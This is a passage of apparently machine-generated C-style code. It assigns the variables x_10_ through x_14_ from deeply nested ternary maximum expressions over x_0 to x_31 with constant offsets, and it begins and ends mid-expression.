(((4.0 + x_23) > (5.0 + x_24)? (4.0 + x_23) : (5.0 + x_24)) > ((10.0 + x_26) > (10.0 + x_30)? (10.0 + x_26) : (10.0 + x_30))? ((4.0 + x_23) > (5.0 + x_24)? (4.0 + x_23) : (5.0 + x_24)) : ((10.0 + x_26) > (10.0 + x_30)? (10.0 + x_26) : (10.0 + x_30)))? (((3.0 + x_18) > (18.0 + x_19)? (3.0 + x_18) : (18.0 + x_19)) > ((12.0 + x_21) > (6.0 + x_22)? (12.0 + x_21) : (6.0 + x_22))? ((3.0 + x_18) > (18.0 + x_19)? (3.0 + x_18) : (18.0 + x_19)) : ((12.0 + x_21) > (6.0 + x_22)? (12.0 + x_21) : (6.0 + x_22))) : (((4.0 + x_23) > (5.0 + x_24)? (4.0 + x_23) : (5.0 + x_24)) > ((10.0 + x_26) > (10.0 + x_30)? (10.0 + x_26) : (10.0 + x_30))? ((4.0 + x_23) > (5.0 + x_24)? (4.0 + x_23) : (5.0 + x_24)) : ((10.0 + x_26) > (10.0 + x_30)? (10.0 + x_26) : (10.0 + x_30))))? ((((20.0 + x_0) > (13.0 + x_3)? (20.0 + x_0) : (13.0 + x_3)) > ((3.0 + x_4) > (19.0 + x_5)? (3.0 + x_4) : (19.0 + x_5))? ((20.0 + x_0) > (13.0 + x_3)? (20.0 + x_0) : (13.0 + x_3)) : ((3.0 + x_4) > (19.0 + x_5)? (3.0 + x_4) : (19.0 + x_5))) > (((14.0 + x_6) > (11.0 + x_8)? (14.0 + x_6) : (11.0 + x_8)) > ((7.0 + x_11) > (10.0 + x_15)? (7.0 + x_11) : (10.0 + x_15))? ((14.0 + x_6) > (11.0 + x_8)? (14.0 + x_6) : (11.0 + x_8)) : ((7.0 + x_11) > (10.0 + x_15)? (7.0 + x_11) : (10.0 + x_15)))? (((20.0 + x_0) > (13.0 + x_3)? (20.0 + x_0) : (13.0 + x_3)) > ((3.0 + x_4) > (19.0 + x_5)? (3.0 + x_4) : (19.0 + x_5))? ((20.0 + x_0) > (13.0 + x_3)? (20.0 + x_0) : (13.0 + x_3)) : ((3.0 + x_4) > (19.0 + x_5)? (3.0 + x_4) : (19.0 + x_5))) : (((14.0 + x_6) > (11.0 + x_8)? (14.0 + x_6) : (11.0 + x_8)) > ((7.0 + x_11) > (10.0 + x_15)? (7.0 + x_11) : (10.0 + x_15))? ((14.0 + x_6) > (11.0 + x_8)? (14.0 + x_6) : (11.0 + x_8)) : ((7.0 + x_11) > (10.0 + x_15)? (7.0 + x_11) : (10.0 + x_15)))) : ((((3.0 + x_18) > (18.0 + x_19)? (3.0 + x_18) : (18.0 + x_19)) > ((12.0 + x_21) > (6.0 + x_22)? (12.0 + x_21) : (6.0 + x_22))? ((3.0 + x_18) > (18.0 + x_19)? (3.0 + x_18) : (18.0 + x_19)) : ((12.0 + x_21) > (6.0 + x_22)? (12.0 + x_21) : (6.0 + x_22))) > (((4.0 + x_23) > (5.0 + x_24)? (4.0 + x_23) : (5.0 + x_24)) > ((10.0 + x_26) > (10.0 + x_30)? (10.0 + x_26) : (10.0 + x_30))? ((4.0 + x_23) > (5.0 + x_24)? (4.0 + x_23) : (5.0 + x_24)) : ((10.0 + x_26) > (10.0 + x_30)? (10.0 + x_26) : (10.0 + x_30)))? (((3.0 + x_18) > (18.0 + x_19)? (3.0 + x_18) : (18.0 + x_19)) > ((12.0 + x_21) > (6.0 + x_22)? (12.0 + x_21) : (6.0 + x_22))? ((3.0 + x_18) > (18.0 + x_19)? (3.0 + x_18) : (18.0 + x_19)) : ((12.0 + x_21) > (6.0 + x_22)? (12.0 + x_21) : (6.0 + x_22))) : (((4.0 + x_23) > (5.0 + x_24)? (4.0 + x_23) : (5.0 + x_24)) > ((10.0 + x_26) > (10.0 + x_30)? (10.0 + x_26) : (10.0 + x_30))? ((4.0 + x_23) > (5.0 + x_24)? (4.0 + x_23) : (5.0 + x_24)) : ((10.0 + x_26) > (10.0 + x_30)? (10.0 + x_26) : (10.0 + x_30))))); x_10_ = (((((18.0 + x_1) > (14.0 + x_6)? (18.0 + x_1) : (14.0 + x_6)) > ((15.0 + x_8) > (11.0 + x_11)? (15.0 + x_8) : (11.0 + x_11))? ((18.0 + x_1) > (14.0 + x_6)? (18.0 + x_1) : (14.0 + x_6)) : ((15.0 + x_8) > (11.0 + x_11)? (15.0 + x_8) : (11.0 + x_11))) > (((7.0 + x_12) > (7.0 + x_13)? (7.0 + x_12) : (7.0 + x_13)) > ((9.0 + x_15) > (17.0 + x_16)? (9.0 + x_15) : (17.0 + x_16))? ((7.0 + x_12) > (7.0 + x_13)? (7.0 + x_12) : (7.0 + x_13)) : ((9.0 + x_15) > (17.0 + x_16)? (9.0 + x_15) : (17.0 + x_16)))? (((18.0 + x_1) > (14.0 + x_6)? (18.0 + x_1) : (14.0 + x_6)) > ((15.0 + x_8) > (11.0 + x_11)? (15.0 + x_8) : (11.0 + x_11))? ((18.0 + x_1) > (14.0 + x_6)? (18.0 + x_1) : (14.0 + x_6)) : ((15.0 + x_8) > (11.0 + x_11)? (15.0 + x_8) : (11.0 + x_11))) : (((7.0 + x_12) > (7.0 + x_13)? (7.0 + x_12) : (7.0 + x_13)) > ((9.0 + x_15) > (17.0 + x_16)? (9.0 + x_15) : (17.0 + x_16))? ((7.0 + x_12) > (7.0 + x_13)? (7.0 + x_12) : (7.0 + x_13)) : ((9.0 + x_15) > (17.0 + x_16)? (9.0 + x_15) : (17.0 + x_16)))) > ((((12.0 + x_19) > (14.0 + x_20)? (12.0 + x_19) : (14.0 + x_20)) > ((20.0 + x_21) > (17.0 + x_23)? (20.0 + x_21) : (17.0 + x_23))? ((12.0 + x_19) > (14.0 + x_20)? (12.0 + x_19) : (14.0 + x_20)) : ((20.0 + x_21) > (17.0 + x_23)? (20.0 + x_21) : (17.0 + x_23))) > (((8.0 + x_24) > (5.0 + x_26)? (8.0 + x_24) : (5.0 + x_26)) > ((13.0 + x_30) > (12.0 + x_31)? (13.0 + x_30) : (12.0 + x_31))? ((8.0 + x_24) > (5.0 + x_26)? (8.0 + x_24) : (5.0 + x_26)) : ((13.0 + x_30) > (12.0 + x_31)? (13.0 + x_30) : (12.0 + x_31)))? (((12.0 + x_19) > (14.0 + x_20)? (12.0 + x_19) : (14.0 + x_20)) > ((20.0 + x_21) > (17.0 + x_23)? (20.0 + x_21) : (17.0 + x_23))? ((12.0 + x_19) > (14.0 + x_20)? (12.0 + x_19) : (14.0 + x_20)) : ((20.0 + x_21) > (17.0 + x_23)? (20.0 + x_21) : (17.0 + x_23))) : (((8.0 + x_24) > (5.0 + x_26)? (8.0 + x_24) : (5.0 + x_26)) > ((13.0 + x_30) > (12.0 + x_31)? (13.0 + x_30) : (12.0 + x_31))? ((8.0 + x_24) > (5.0 + x_26)? (8.0 + x_24) : (5.0 + x_26)) : ((13.0 + x_30) > (12.0 + x_31)? (13.0 + x_30) : (12.0 + x_31))))? ((((18.0 + x_1) > (14.0 + x_6)? (18.0 + x_1) : (14.0 + x_6)) > ((15.0 + x_8) > (11.0 + x_11)? (15.0 + x_8) : (11.0 + x_11))? ((18.0 + x_1) > (14.0 + x_6)? (18.0 + x_1) : (14.0 + x_6)) : ((15.0 + x_8) > (11.0 + x_11)? (15.0 + x_8) : (11.0 + x_11))) > (((7.0 + x_12) > (7.0 + x_13)? (7.0 + x_12) : (7.0 + x_13)) > ((9.0 + x_15) > (17.0 + x_16)? (9.0 + x_15) : (17.0 + x_16))? ((7.0 + x_12) > (7.0 + x_13)? (7.0 + x_12) : (7.0 + x_13)) : ((9.0 + x_15) > (17.0 + x_16)? (9.0 + x_15) : (17.0 + x_16)))? (((18.0 + x_1) > (14.0 + x_6)? (18.0 + x_1) : (14.0 + x_6)) > ((15.0 + x_8) > (11.0 + x_11)? (15.0 + x_8) : (11.0 + x_11))? ((18.0 + x_1) > (14.0 + x_6)? (18.0 + x_1) : (14.0 + x_6)) : ((15.0 + x_8) > (11.0 + x_11)? (15.0 + x_8) : (11.0 + x_11))) : (((7.0 + x_12) > (7.0 + x_13)? (7.0 + x_12) : (7.0 + x_13)) > ((9.0 + x_15) > (17.0 + x_16)? (9.0 + x_15) : (17.0 + x_16))? ((7.0 + x_12) > (7.0 + x_13)? (7.0 + x_12) : (7.0 + x_13)) : ((9.0 + x_15) > (17.0 + x_16)? (9.0 + x_15) : (17.0 + x_16)))) : ((((12.0 + x_19) > (14.0 + x_20)? (12.0 + x_19) : (14.0 + x_20)) > ((20.0 + x_21) > (17.0 + x_23)? (20.0 + x_21) : (17.0 + x_23))? ((12.0 + x_19) > (14.0 + x_20)? (12.0 + x_19) : (14.0 + x_20)) : ((20.0 + x_21) > (17.0 + x_23)? (20.0 + x_21) : (17.0 + x_23))) > (((8.0 + x_24) > (5.0 + x_26)? (8.0 + x_24) : (5.0 + x_26)) > ((13.0 + x_30) > (12.0 + x_31)? (13.0 + x_30) : (12.0 + x_31))? ((8.0 + x_24) > (5.0 + x_26)? (8.0 + x_24) : (5.0 + x_26)) : ((13.0 + x_30) > (12.0 + x_31)? (13.0 + x_30) : (12.0 + x_31)))? (((12.0 + x_19) > (14.0 + x_20)? (12.0 + x_19) : (14.0 + x_20)) > ((20.0 + x_21) > (17.0 + x_23)? (20.0 + x_21) : (17.0 + x_23))? ((12.0 + x_19) > (14.0 + x_20)? (12.0 + x_19) : (14.0 + x_20)) : ((20.0 + x_21) > (17.0 + x_23)? (20.0 + x_21) : (17.0 + x_23))) : (((8.0 + x_24) > (5.0 + x_26)? (8.0 + x_24) : (5.0 + x_26)) > ((13.0 + x_30) > (12.0 + x_31)? (13.0 + x_30) : (12.0 + x_31))? ((8.0 + x_24) > (5.0 + x_26)? (8.0 + x_24) : (5.0 + x_26)) : ((13.0 + x_30) > (12.0 + x_31)? (13.0 + x_30) : (12.0 + x_31))))); x_11_ = (((((6.0 + x_1) > (16.0 + x_6)? (6.0 + x_1) : (16.0 + x_6)) > ((9.0 + x_10) > (5.0 + x_12)? (9.0 + x_10) : (5.0 + x_12))? ((6.0 + x_1) > (16.0 + x_6)? (6.0 + x_1) : (16.0 + x_6)) : ((9.0 + x_10) > (5.0 + x_12)? (9.0 + x_10) : (5.0 + x_12))) > (((16.0 + x_13) > (9.0 + x_14)? (16.0 + x_13) : (9.0 + x_14)) > ((5.0 + x_16) > (17.0 + x_18)? (5.0 + x_16) : (17.0 + x_18))? ((16.0 + x_13) > (9.0 + x_14)? (16.0 + x_13) : (9.0 + x_14)) : ((5.0 + x_16) > (17.0 + x_18)? (5.0 + x_16) : (17.0 + x_18)))? (((6.0 + x_1) > (16.0 + x_6)? (6.0 + x_1) : (16.0 + x_6)) > ((9.0 + x_10) > (5.0 + x_12)? (9.0 + x_10) : (5.0 + x_12))? ((6.0 + x_1) > (16.0 + x_6)? (6.0 + x_1) : (16.0 + x_6)) : ((9.0 + x_10) > (5.0 + x_12)? (9.0 + x_10) : (5.0 + x_12))) : (((16.0 + x_13) > (9.0 + x_14)? (16.0 + x_13) : (9.0 + x_14)) > ((5.0 + x_16) > (17.0 + x_18)? (5.0 + x_16) : (17.0 + x_18))? ((16.0 + x_13) > (9.0 + x_14)? (16.0 + x_13) : (9.0 + x_14)) : ((5.0 + x_16) > (17.0 + x_18)? (5.0 + x_16) : (17.0 + x_18)))) > ((((13.0 + x_20) > (10.0 + x_21)? (13.0 + x_20) : (10.0 + x_21)) > ((13.0 + x_22) > (9.0 + x_23)? (13.0 + x_22) : (9.0 + x_23))? ((13.0 + x_20) > (10.0 + x_21)? (13.0 + x_20) : (10.0 + x_21)) : ((13.0 + x_22) > (9.0 + x_23)? (13.0 + x_22) : (9.0 + x_23))) > (((13.0 + x_25) > (12.0 + x_27)? (13.0 + x_25) : (12.0 + x_27)) > ((3.0 + x_28) > (8.0 + x_30)? (3.0 + x_28) : (8.0 + x_30))? ((13.0 + x_25) > (12.0 + x_27)? (13.0 + x_25) : (12.0 + x_27)) : ((3.0 + x_28) > (8.0 + x_30)? (3.0 + x_28) : (8.0 + x_30)))? (((13.0 + x_20) > (10.0 + x_21)? (13.0 + x_20) : (10.0 + x_21)) > ((13.0 + x_22) > (9.0 + x_23)? (13.0 + x_22) : (9.0 + x_23))? ((13.0 + x_20) > (10.0 + x_21)? (13.0 + x_20) : (10.0 + x_21)) : ((13.0 + x_22) > (9.0 + x_23)? (13.0 + x_22) : (9.0 + x_23))) : (((13.0 + x_25) > (12.0 + x_27)? (13.0 + x_25) : (12.0 + x_27)) > ((3.0 + x_28) > (8.0 + x_30)? (3.0 + x_28) : (8.0 + x_30))? ((13.0 + x_25) > (12.0 + x_27)? (13.0 + x_25) : (12.0 + x_27)) : ((3.0 + x_28) > (8.0 + x_30)? (3.0 + x_28) : (8.0 + x_30))))? ((((6.0 + x_1) > (16.0 + x_6)? (6.0 + x_1) : (16.0 + x_6)) > ((9.0 + x_10) > (5.0 + x_12)? (9.0 + x_10) : (5.0 + x_12))? ((6.0 + x_1) > (16.0 + x_6)? (6.0 + x_1) : (16.0 + x_6)) : ((9.0 + x_10) > (5.0 + x_12)? (9.0 + x_10) : (5.0 + x_12))) > (((16.0 + x_13) > (9.0 + x_14)? (16.0 + x_13) : (9.0 + x_14)) > ((5.0 + x_16) > (17.0 + x_18)? (5.0 + x_16) : (17.0 + x_18))? ((16.0 + x_13) > (9.0 + x_14)? (16.0 + x_13) : (9.0 + x_14)) : ((5.0 + x_16) > (17.0 + x_18)? (5.0 + x_16) : (17.0 + x_18)))? (((6.0 + x_1) > (16.0 + x_6)? (6.0 + x_1) : (16.0 + x_6)) > ((9.0 + x_10) > (5.0 + x_12)? (9.0 + x_10) : (5.0 + x_12))? ((6.0 + x_1) > (16.0 + x_6)? (6.0 + x_1) : (16.0 + x_6)) : ((9.0 + x_10) > (5.0 + x_12)? (9.0 + x_10) : (5.0 + x_12))) : (((16.0 + x_13) > (9.0 + x_14)? (16.0 + x_13) : (9.0 + x_14)) > ((5.0 + x_16) > (17.0 + x_18)? (5.0 + x_16) : (17.0 + x_18))? ((16.0 + x_13) > (9.0 + x_14)? (16.0 + x_13) : (9.0 + x_14)) : ((5.0 + x_16) > (17.0 + x_18)? (5.0 + x_16) : (17.0 + x_18)))) : ((((13.0 + x_20) > (10.0 + x_21)? (13.0 + x_20) : (10.0 + x_21)) > ((13.0 + x_22) > (9.0 + x_23)? (13.0 + x_22) : (9.0 + x_23))? ((13.0 + x_20) > (10.0 + x_21)? (13.0 + x_20) : (10.0 + x_21)) : ((13.0 + x_22) > (9.0 + x_23)? (13.0 + x_22) : (9.0 + x_23))) > (((13.0 + x_25) > (12.0 + x_27)? (13.0 + x_25) : (12.0 + x_27)) > ((3.0 + x_28) > (8.0 + x_30)? (3.0 + x_28) : (8.0 + x_30))? ((13.0 + x_25) > (12.0 + x_27)? (13.0 + x_25) : (12.0 + x_27)) : ((3.0 + x_28) > (8.0 + x_30)? (3.0 + x_28) : (8.0 + x_30)))? (((13.0 + x_20) > (10.0 + x_21)? (13.0 + x_20) : (10.0 + x_21)) > ((13.0 + x_22) > (9.0 + x_23)? (13.0 + x_22) : (9.0 + x_23))? ((13.0 + x_20) > (10.0 + x_21)? (13.0 + x_20) : (10.0 + x_21)) : ((13.0 + x_22) > (9.0 + x_23)? (13.0 + x_22) : (9.0 + x_23))) : (((13.0 + x_25) > (12.0 + x_27)? (13.0 + x_25) : (12.0 + x_27)) > ((3.0 + x_28) > (8.0 + x_30)? (3.0 + x_28) : (8.0 + x_30))? ((13.0 + x_25) > (12.0 + x_27)? (13.0 + x_25) : (12.0 + x_27)) : ((3.0 + x_28) > (8.0 + x_30)? (3.0 + x_28) : (8.0 + x_30))))); x_12_ = (((((20.0 + x_0) > (5.0 + x_1)? (20.0 + x_0) : (5.0 + x_1)) > ((7.0 + x_3) > (11.0 + x_6)? (7.0 + x_3) : (11.0 + x_6))? ((20.0 + x_0) > (5.0 + x_1)? (20.0 + x_0) : (5.0 + x_1)) : ((7.0 + x_3) > (11.0 + x_6)? (7.0 + x_3) : (11.0 + x_6))) > (((13.0 + x_7) > (10.0 + x_8)? (13.0 + x_7) : (10.0 + x_8)) > ((1.0 + x_9) > (5.0 + x_11)? (1.0 + x_9) : (5.0 + x_11))? ((13.0 + x_7) > (10.0 + x_8)? (13.0 + x_7) : (10.0 + x_8)) : ((1.0 + x_9) > (5.0 + x_11)? (1.0 + x_9) : (5.0 + x_11)))? (((20.0 + x_0) > (5.0 + x_1)? (20.0 + x_0) : (5.0 + x_1)) > ((7.0 + x_3) > (11.0 + x_6)? (7.0 + x_3) : (11.0 + x_6))? ((20.0 + x_0) > (5.0 + x_1)? (20.0 + x_0) : (5.0 + x_1)) : ((7.0 + x_3) > (11.0 + x_6)? (7.0 + x_3) : (11.0 + x_6))) : (((13.0 + x_7) > (10.0 + x_8)? (13.0 + x_7) : (10.0 + x_8)) > ((1.0 + x_9) > (5.0 + x_11)? (1.0 + x_9) : (5.0 + x_11))? ((13.0 + x_7) > (10.0 + x_8)? (13.0 + x_7) : (10.0 + x_8)) : ((1.0 + x_9) > (5.0 + x_11)? (1.0 + x_9) : (5.0 + x_11)))) > ((((16.0 + x_14) > (17.0 + x_15)? (16.0 + x_14) : (17.0 + x_15)) > ((20.0 + x_18) > (19.0 + x_24)? (20.0 + x_18) : (19.0 + x_24))? ((16.0 + x_14) > (17.0 + x_15)? (16.0 + x_14) : (17.0 + x_15)) : ((20.0 + x_18) > (19.0 + x_24)? (20.0 + x_18) : (19.0 + x_24))) > (((1.0 + x_26) > (15.0 + x_27)? (1.0 + x_26) : (15.0 + x_27)) > ((11.0 + x_29) > (17.0 + x_30)? (11.0 + x_29) : (17.0 + x_30))? ((1.0 + x_26) > (15.0 + x_27)? (1.0 + x_26) : (15.0 + x_27)) : ((11.0 + x_29) > (17.0 + x_30)? (11.0 + x_29) : (17.0 + x_30)))? (((16.0 + x_14) > (17.0 + x_15)? (16.0 + x_14) : (17.0 + x_15)) > ((20.0 + x_18) > (19.0 + x_24)? (20.0 + x_18) : (19.0 + x_24))? ((16.0 + x_14) > (17.0 + x_15)? (16.0 + x_14) : (17.0 + x_15)) : ((20.0 + x_18) > (19.0 + x_24)? (20.0 + x_18) : (19.0 + x_24))) : (((1.0 + x_26) > (15.0 + x_27)? (1.0 + x_26) : (15.0 + x_27)) > ((11.0 + x_29) > (17.0 + x_30)? (11.0 + x_29) : (17.0 + x_30))? ((1.0 + x_26) > (15.0 + x_27)? (1.0 + x_26) : (15.0 + x_27)) : ((11.0 + x_29) > (17.0 + x_30)? (11.0 + x_29) : (17.0 + x_30))))? ((((20.0 + x_0) > (5.0 + x_1)? (20.0 + x_0) : (5.0 + x_1)) > ((7.0 + x_3) > (11.0 + x_6)? (7.0 + x_3) : (11.0 + x_6))? ((20.0 + x_0) > (5.0 + x_1)? (20.0 + x_0) : (5.0 + x_1)) : ((7.0 + x_3) > (11.0 + x_6)? (7.0 + x_3) : (11.0 + x_6))) > (((13.0 + x_7) > (10.0 + x_8)? (13.0 + x_7) : (10.0 + x_8)) > ((1.0 + x_9) > (5.0 + x_11)? (1.0 + x_9) : (5.0 + x_11))? ((13.0 + x_7) > (10.0 + x_8)? (13.0 + x_7) : (10.0 + x_8)) : ((1.0 + x_9) > (5.0 + x_11)? (1.0 + x_9) : (5.0 + x_11)))? (((20.0 + x_0) > (5.0 + x_1)? (20.0 + x_0) : (5.0 + x_1)) > ((7.0 + x_3) > (11.0 + x_6)? (7.0 + x_3) : (11.0 + x_6))? ((20.0 + x_0) > (5.0 + x_1)? (20.0 + x_0) : (5.0 + x_1)) : ((7.0 + x_3) > (11.0 + x_6)? (7.0 + x_3) : (11.0 + x_6))) : (((13.0 + x_7) > (10.0 + x_8)? (13.0 + x_7) : (10.0 + x_8)) > ((1.0 + x_9) > (5.0 + x_11)? (1.0 + x_9) : (5.0 + x_11))? ((13.0 + x_7) > (10.0 + x_8)? (13.0 + x_7) : (10.0 + x_8)) : ((1.0 + x_9) > (5.0 + x_11)? (1.0 + x_9) : (5.0 + x_11)))) : ((((16.0 + x_14) > (17.0 + x_15)? (16.0 + x_14) : (17.0 + x_15)) > ((20.0 + x_18) > (19.0 + x_24)? (20.0 + x_18) : (19.0 + x_24))? ((16.0 + x_14) > (17.0 + x_15)? (16.0 + x_14) : (17.0 + x_15)) : ((20.0 + x_18) > (19.0 + x_24)? (20.0 + x_18) : (19.0 + x_24))) > (((1.0 + x_26) > (15.0 + x_27)? (1.0 + x_26) : (15.0 + x_27)) > ((11.0 + x_29) > (17.0 + x_30)? (11.0 + x_29) : (17.0 + x_30))? ((1.0 + x_26) > (15.0 + x_27)? (1.0 + x_26) : (15.0 + x_27)) : ((11.0 + x_29) > (17.0 + x_30)? (11.0 + x_29) : (17.0 + x_30)))? (((16.0 + x_14) > (17.0 + x_15)? (16.0 + x_14) : (17.0 + x_15)) > ((20.0 + x_18) > (19.0 + x_24)? (20.0 + x_18) : (19.0 + x_24))? ((16.0 + x_14) > (17.0 + x_15)? (16.0 + x_14) : (17.0 + x_15)) : ((20.0 + x_18) > (19.0 + x_24)? (20.0 + x_18) : (19.0 + x_24))) : (((1.0 + x_26) > (15.0 + x_27)? (1.0 + x_26) : (15.0 + x_27)) > ((11.0 + x_29) > (17.0 + x_30)? (11.0 + x_29) : (17.0 + x_30))? ((1.0 + x_26) > (15.0 + x_27)? (1.0 + x_26) : (15.0 + x_27)) : ((11.0 + x_29) > (17.0 + x_30)? (11.0 + x_29) : (17.0 + x_30))))); x_13_ = (((((4.0 + x_0) > (19.0 + x_2)? (4.0 + x_0) : (19.0 + x_2)) > ((16.0 + x_3) > (6.0 + x_4)? (16.0 + x_3) : (6.0 + x_4))? ((4.0 + x_0) > (19.0 + x_2)? (4.0 + x_0) : (19.0 + x_2)) : ((16.0 + x_3) > (6.0 + x_4)? (16.0 + x_3) : (6.0 + x_4))) > (((18.0 + x_5) > (14.0 + x_6)? (18.0 + x_5) : (14.0 + x_6)) > ((16.0 + x_7) > (14.0 + x_10)? (16.0 + x_7) : (14.0 + x_10))? ((18.0 + x_5) > (14.0 + x_6)? (18.0 + x_5) : (14.0 + x_6)) : ((16.0 + x_7) > (14.0 + x_10)? (16.0 + x_7) : (14.0 + x_10)))? (((4.0 + x_0) > (19.0 + x_2)? (4.0 + x_0) : (19.0 + x_2)) > ((16.0 + x_3) > (6.0 + x_4)? (16.0 + x_3) : (6.0 + x_4))? ((4.0 + x_0) > (19.0 + x_2)? (4.0 + x_0) : (19.0 + x_2)) : ((16.0 + x_3) > (6.0 + x_4)? (16.0 + x_3) : (6.0 + x_4))) : (((18.0 + x_5) > (14.0 + x_6)? (18.0 + x_5) : (14.0 + x_6)) > ((16.0 + x_7) > (14.0 + x_10)? (16.0 + x_7) : (14.0 + x_10))? ((18.0 + x_5) > (14.0 + x_6)? (18.0 + x_5) : (14.0 + x_6)) : ((16.0 + x_7) > (14.0 + x_10)? (16.0 + x_7) : (14.0 + x_10)))) > ((((9.0 + x_14) > (18.0 + x_15)? (9.0 + x_14) : (18.0 + x_15)) > ((18.0 + x_17) > (2.0 + x_23)? (18.0 + x_17) : (2.0 + x_23))? ((9.0 + x_14) > (18.0 + x_15)? (9.0 + x_14) : (18.0 + x_15)) : ((18.0 + x_17) > (2.0 + x_23)? (18.0 + x_17) : (2.0 + x_23))) > (((12.0 + x_24) > (10.0 + x_26)? (12.0 + x_24) : (10.0 + x_26)) > ((20.0 + x_30) > (8.0 + x_31)? (20.0 + x_30) : (8.0 + x_31))? ((12.0 + x_24) > (10.0 + x_26)? (12.0 + x_24) : (10.0 + x_26)) : ((20.0 + x_30) > (8.0 + x_31)? (20.0 + x_30) : (8.0 + x_31)))? (((9.0 + x_14) > (18.0 + x_15)? (9.0 + x_14) : (18.0 + x_15)) > ((18.0 + x_17) > (2.0 + x_23)? (18.0 + x_17) : (2.0 + x_23))? ((9.0 + x_14) > (18.0 + x_15)? (9.0 + x_14) : (18.0 + x_15)) : ((18.0 + x_17) > (2.0 + x_23)? (18.0 + x_17) : (2.0 + x_23))) : (((12.0 + x_24) > (10.0 + x_26)? (12.0 + x_24) : (10.0 + x_26)) > ((20.0 + x_30) > (8.0 + x_31)? (20.0 + x_30) : (8.0 + x_31))? ((12.0 + x_24) > (10.0 + x_26)? (12.0 + x_24) : (10.0 + x_26)) : ((20.0 + x_30) > (8.0 + x_31)? (20.0 + x_30) : (8.0 + x_31))))? ((((4.0 + x_0) > (19.0 + x_2)? (4.0 + x_0) : (19.0 + x_2)) > ((16.0 + x_3) > (6.0 + x_4)? (16.0 + x_3) : (6.0 + x_4))? ((4.0 + x_0) > (19.0 + x_2)? (4.0 + x_0) : (19.0 + x_2)) : ((16.0 + x_3) > (6.0 + x_4)? (16.0 + x_3) : (6.0 + x_4))) > (((18.0 + x_5) > (14.0 + x_6)? (18.0 + x_5) : (14.0 + x_6)) > ((16.0 + x_7) > (14.0 + x_10)? (16.0 + x_7) : (14.0 + x_10))? ((18.0 + x_5) > (14.0 + x_6)? (18.0 + x_5) : (14.0 + x_6)) : ((16.0 + x_7) > (14.0 + x_10)? (16.0 + x_7) : (14.0 + x_10)))? (((4.0 + x_0) > (19.0 + x_2)? (4.0 + x_0) : (19.0 + x_2)) > ((16.0 + x_3) > (6.0 + x_4)? (16.0 + x_3) : (6.0 + x_4))? ((4.0 + x_0) > (19.0 + x_2)? (4.0 + x_0) : (19.0 + x_2)) : ((16.0 + x_3) > (6.0 + x_4)? (16.0 + x_3) : (6.0 + x_4))) : (((18.0 + x_5) > (14.0 + x_6)? (18.0 + x_5) : (14.0 + x_6)) > ((16.0 + x_7) > (14.0 + x_10)? (16.0 + x_7) : (14.0 + x_10))? ((18.0 + x_5) > (14.0 + x_6)? (18.0 + x_5) : (14.0 + x_6)) : ((16.0 + x_7) > (14.0 + x_10)? (16.0 + x_7) : (14.0 + x_10)))) : ((((9.0 + x_14) > (18.0 + x_15)? (9.0 + x_14) : (18.0 + x_15)) > ((18.0 + x_17) > (2.0 + x_23)? (18.0 + x_17) : (2.0 + x_23))? ((9.0 + x_14) > (18.0 + x_15)? (9.0 + x_14) : (18.0 + x_15)) : ((18.0 + x_17) > (2.0 + x_23)? (18.0 + x_17) : (2.0 + x_23))) > (((12.0 + x_24) > (10.0 + x_26)? (12.0 + x_24) : (10.0 + x_26)) > ((20.0 + x_30) > (8.0 + x_31)? (20.0 + x_30) : (8.0 + x_31))? ((12.0 + x_24) > (10.0 + x_26)? (12.0 + x_24) : (10.0 + x_26)) : ((20.0 + x_30) > (8.0 + x_31)? (20.0 + x_30) : (8.0 + x_31)))? (((9.0 + x_14) > (18.0 + x_15)? (9.0 + x_14) : (18.0 + x_15)) > ((18.0 + x_17) > (2.0 + x_23)? (18.0 + x_17) : (2.0 + x_23))? ((9.0 + x_14) > (18.0 + x_15)? (9.0 + x_14) : (18.0 + x_15)) : ((18.0 + x_17) > (2.0 + x_23)? (18.0 + x_17) : (2.0 + x_23))) : (((12.0 + x_24) > (10.0 + x_26)? (12.0 + x_24) : (10.0 + x_26)) > ((20.0 + x_30) > (8.0 + x_31)? (20.0 + x_30) : (8.0 + x_31))? ((12.0 + x_24) > (10.0 + x_26)? (12.0 + x_24) : (10.0 + x_26)) : ((20.0 + x_30) > (8.0 + x_31)? (20.0 + x_30) : (8.0 + x_31))))); x_14_ = (((((17.0 + x_0) > (5.0 + x_2)? (17.0 + x_0) : (5.0 + x_2)) > ((20.0 + x_3) > (19.0 + x_5)? (20.0 + x_3) : (19.0 + x_5))? ((17.0 + x_0) > (5.0 + x_2)? (17.0 + x_0) : (5.0 + x_2)) : ((20.0 + x_3) > (19.0 + x_5)? (20.0 + x_3) : (19.0 + x_5))) > (((2.0 + x_7) > (5.0 + x_8)? (2.0 + x_7) : (5.0 + x_8)) > ((4.0 + x_12) > (18.0 + x_13)? (4.0 + x_12) : (18.0 + x_13))? ((2.0 + x_7) > (5.0 + x_8)? (2.0 + x_7) : (5.0 + x_8)) : ((4.0 + x_12) > (18.0 + x_13)? (4.0 + x_12) : (18.0 + x_13)))? (((17.0 + x_0) > (5.0 + x_2)? (17.0 + x_0) : (5.0 + x_2)) > ((20.0 + x_3) > (19.0 + x_5)? (20.0 + x_3) : (19.0 + x_5))? ((17.0 + x_0) > (5.0 + x_2)? (17.0 + x_0) : (5.0 + x_2)) : ((20.0 + x_3) > (19.0 + x_5)? (20.0 + x_3) : (19.0 + x_5))) : (((2.0 + x_7) > (5.0 + x_8)? (2.0 + x_7) : (5.0 + x_8)) > ((4.0 + x_12) > (18.0 + x_13)? (4.0 + x_12) : (18.0 + x_13))? ((2.0 + x_7) > (5.0 + x_8)? (2.0 + x_7) : (5.0 + x_8)) : ((4.0 + x_12) > (18.0 + x_13)? (4.0 + x_12) : (18.0 + x_13)))) > ((((10.0 + x_16) > (8.0 + x_17)? (10.0 + x_16) : (8.0 + x_17)) > ((3.0 + x_18) > (15.0 + x_21)? (3.0 + x_18) : (15.0 + x_21))? ((10.0 + x_16) > (8.0 + x_17)? (10.0 + x_16) : (8.0 + x_17)) : ((3.0 + x_18) > (15.0 + x_21)? (3.0 + x_18) : (15.0 + x_21))) > (((18.0 + x_25) > (4.0 + x_26)? (18.0 + x_25) : (4.0 + x_26)) > ((16.0 + x_27) > (19.0 + x_28)? (16.0 + x_27) : (19.0 + x_28))? ((18.0 + x_25) > (4.0 + x_26)? (18.0 + x_25) : (4.0 + x_26)) : ((16.0 + x_27) > (19.0 + x_28)? (16.0 + x_27) : (19.0 + x_28)))? (((10.0 + x_16) > (8.0 + x_17)? (10.0 + x_16) : (8.0 + x_17)) > ((3.0 + x_18) > (15.0 + x_21)? (3.0 + x_18) : (15.0 + x_21))? ((10.0 + x_16) > (8.0 + x_17)? 